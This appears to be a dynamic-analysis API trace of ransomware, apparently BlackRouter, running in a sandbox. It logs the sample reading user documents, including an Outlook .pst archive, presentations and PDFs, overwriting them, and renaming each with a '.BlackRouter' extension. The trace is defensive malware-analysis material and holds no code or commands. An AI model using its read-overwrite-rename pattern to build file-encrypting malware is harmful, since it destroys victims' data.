GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.682] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.683] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.683] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.683] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.683] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.683] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0041.694] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.696] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x74e6 [0041.696] ReadFile (in: hFile=0x258, lpBuffer=0x293f898, nNumberOfBytesToRead=0x74e6, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x293f898*, lpNumberOfBytesRead=0x1ae5c8*=0x74e6, lpOverlapped=0x0) returned 1 [0041.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0041.721] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.721] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.722] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.722] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.723] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.723] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.723] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0041.731] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0041.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.731] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x42400 [0041.733] ReadFile (in: hFile=0x258, lpBuffer=0x128ef9e8, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x128ef9e8*, lpNumberOfBytesRead=0x1ae668*=0x42400, lpOverlapped=0x0) returned 1 [0041.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.756] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xbf672650, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x42410)) returned 1 [0041.756] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.blackrouter")) returned 1 [0041.760] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.760] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.761] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.761] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.762] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.762] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.762] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0041.763] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0041.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\Lv8NKuLBK.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\lv8nkulbk.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.763] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xa6f5 [0041.763] ReadFile (in: hFile=0x258, lpBuffer=0x2a9ab48, nNumberOfBytesToRead=0xa6f5, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x2a9ab48*, lpNumberOfBytesRead=0x1ae668*=0xa6f5, lpOverlapped=0x0) returned 1 [0041.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\Lv8NKuLBK.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\lv8nkulbk.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.769] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\Lv8NKuLBK.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\lv8nkulbk.odp"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21b45b0, ftCreationTime.dwHighDateTime=0x1d45a8a, ftLastAccessTime.dwLowDateTime=0x824f19f0, ftLastAccessTime.dwHighDateTime=0x1d4648f, ftLastWriteTime.dwLowDateTime=0xbf6987b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa700)) returned 1 [0041.769] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\Lv8NKuLBK.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\lv8nkulbk.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\Lv8NKuLBK.odp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\lv8nkulbk.odp.blackrouter")) returned 1 [0041.775] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0041.775] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\8OXe9rwyn_r.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\8oxe9rwyn_r.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.776] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xf55f [0041.776] ReadFile (in: hFile=0x258, lpBuffer=0x28daa68, nNumberOfBytesToRead=0xf55f, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x28daa68*, lpNumberOfBytesRead=0x1ae668*=0xf55f, lpOverlapped=0x0) returned 1 [0041.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\8OXe9rwyn_r.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\8oxe9rwyn_r.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\8OXe9rwyn_r.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\8oxe9rwyn_r.pps"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92be55c0, ftCreationTime.dwHighDateTime=0x1d457ed, ftLastAccessTime.dwLowDateTime=0x5a9ea1c0, ftLastAccessTime.dwHighDateTime=0x1d4646f, ftLastWriteTime.dwLowDateTime=0xbf6987b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf560)) returned 1 [0041.782] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\8OXe9rwyn_r.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\8oxe9rwyn_r.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\8OXe9rwyn_r.pps.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vuqa\\8oxe9rwyn_r.pps.blackrouter")) returned 1 [0041.786] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.786] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.787] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.787] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.788] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.789] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.789] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.789] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0041.793] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0041.793] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JO3ODtj8GwVaKmN.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jo3odtj8gwvakmn.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.793] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x4a85 [0041.794] ReadFile (in: hFile=0x258, lpBuffer=0x29823e8, nNumberOfBytesToRead=0x4a85, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29823e8*, lpNumberOfBytesRead=0x1ae708*=0x4a85, lpOverlapped=0x0) returned 1 [0041.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JO3ODtj8GwVaKmN.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jo3odtj8gwvakmn.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.798] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JO3ODtj8GwVaKmN.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jo3odtj8gwvakmn.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9ac270, ftCreationTime.dwHighDateTime=0x1d457d2, ftLastAccessTime.dwLowDateTime=0x948be430, ftLastAccessTime.dwHighDateTime=0x1d45879, ftLastWriteTime.dwLowDateTime=0xbf6be910, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4a90)) returned 1 [0041.798] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JO3ODtj8GwVaKmN.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jo3odtj8gwvakmn.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JO3ODtj8GwVaKmN.pdf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jo3odtj8gwvakmn.pdf.blackrouter")) returned 1 [0041.799] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.799] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.799] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.799] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.799] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.799] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0041.799] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\429LeDx_PvwhKO4M6o8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\429ledx_pvwhko4m6o8.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.799] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x8a5c [0041.799] ReadFile (in: hFile=0x258, lpBuffer=0x2993c10, nNumberOfBytesToRead=0x8a5c, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2993c10*, lpNumberOfBytesRead=0x1ae708*=0x8a5c, lpOverlapped=0x0) returned 1 [0041.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\429LeDx_PvwhKO4M6o8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\429ledx_pvwhko4m6o8.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\429LeDx_PvwhKO4M6o8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\429ledx_pvwhko4m6o8.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4046300, ftCreationTime.dwHighDateTime=0x1d4666e, ftLastAccessTime.dwLowDateTime=0xe217b7c0, ftLastAccessTime.dwHighDateTime=0x1d461bf, ftLastWriteTime.dwLowDateTime=0xbf6e4a70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8a60)) returned 1 [0041.804] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\429LeDx_PvwhKO4M6o8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\429ledx_pvwhko4m6o8.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\429LeDx_PvwhKO4M6o8.pptx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\429ledx_pvwhko4m6o8.pptx.blackrouter")) returned 1 [0041.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4Ojsy4NELZbRVu.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ojsy4nelzbrvu.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.805] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x5505 [0041.805] ReadFile (in: hFile=0x258, lpBuffer=0x29a5d00, nNumberOfBytesToRead=0x5505, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29a5d00*, lpNumberOfBytesRead=0x1ae708*=0x5505, lpOverlapped=0x0) returned 1 [0041.807] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4Ojsy4NELZbRVu.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ojsy4nelzbrvu.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.809] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4Ojsy4NELZbRVu.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ojsy4nelzbrvu.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c506c70, ftCreationTime.dwHighDateTime=0x1d46c3c, ftLastAccessTime.dwLowDateTime=0x5bf13da0, ftLastAccessTime.dwHighDateTime=0x1d497ad, ftLastWriteTime.dwLowDateTime=0xbf6e4a70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5510)) returned 1 [0041.810] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4Ojsy4NELZbRVu.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ojsy4nelzbrvu.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4Ojsy4NELZbRVu.pptx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ojsy4nelzbrvu.pptx.blackrouter")) returned 1 [0041.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LOMIUr.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lomiur.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.810] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xc02a [0041.810] ReadFile (in: hFile=0x258, lpBuffer=0x29b12e0, nNumberOfBytesToRead=0xc02a, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29b12e0*, lpNumberOfBytesRead=0x1ae708*=0xc02a, lpOverlapped=0x0) returned 1 [0041.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LOMIUr.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lomiur.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.817] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LOMIUr.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lomiur.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f8a290, ftCreationTime.dwHighDateTime=0x1d421f7, ftLastAccessTime.dwLowDateTime=0x56a879e0, ftLastAccessTime.dwHighDateTime=0x1d474ed, ftLastWriteTime.dwLowDateTime=0xbf70abd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc030)) returned 1 [0041.817] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LOMIUr.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lomiur.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LOMIUr.pptx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lomiur.pptx.blackrouter")) returned 1 [0041.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NvOY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nvoy.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.818] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x144d6 [0041.818] ReadFile (in: hFile=0x258, lpBuffer=0x29c9eb0, nNumberOfBytesToRead=0x144d6, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29c9eb0*, lpNumberOfBytesRead=0x1ae708*=0x144d6, lpOverlapped=0x0) returned 1 [0041.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NvOY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nvoy.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NvOY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nvoy.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68228050, ftCreationTime.dwHighDateTime=0x1d48526, ftLastAccessTime.dwLowDateTime=0x5a5e3720, ftLastAccessTime.dwHighDateTime=0x1d49d77, ftLastWriteTime.dwLowDateTime=0xbf70abd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x144e0)) returned 1 [0041.825] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NvOY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nvoy.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NvOY.pptx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nvoy.pptx.blackrouter")) returned 1 [0041.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Q7Lgs1z_owxp9H.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q7lgs1z_owxp9h.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.826] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x4c6b [0041.826] ReadFile (in: hFile=0x258, lpBuffer=0x29f3400, nNumberOfBytesToRead=0x4c6b, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29f3400*, lpNumberOfBytesRead=0x1ae708*=0x4c6b, lpOverlapped=0x0) returned 1 [0041.828] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Q7Lgs1z_owxp9H.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q7lgs1z_owxp9h.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.830] GetFileAttributesExW (in: 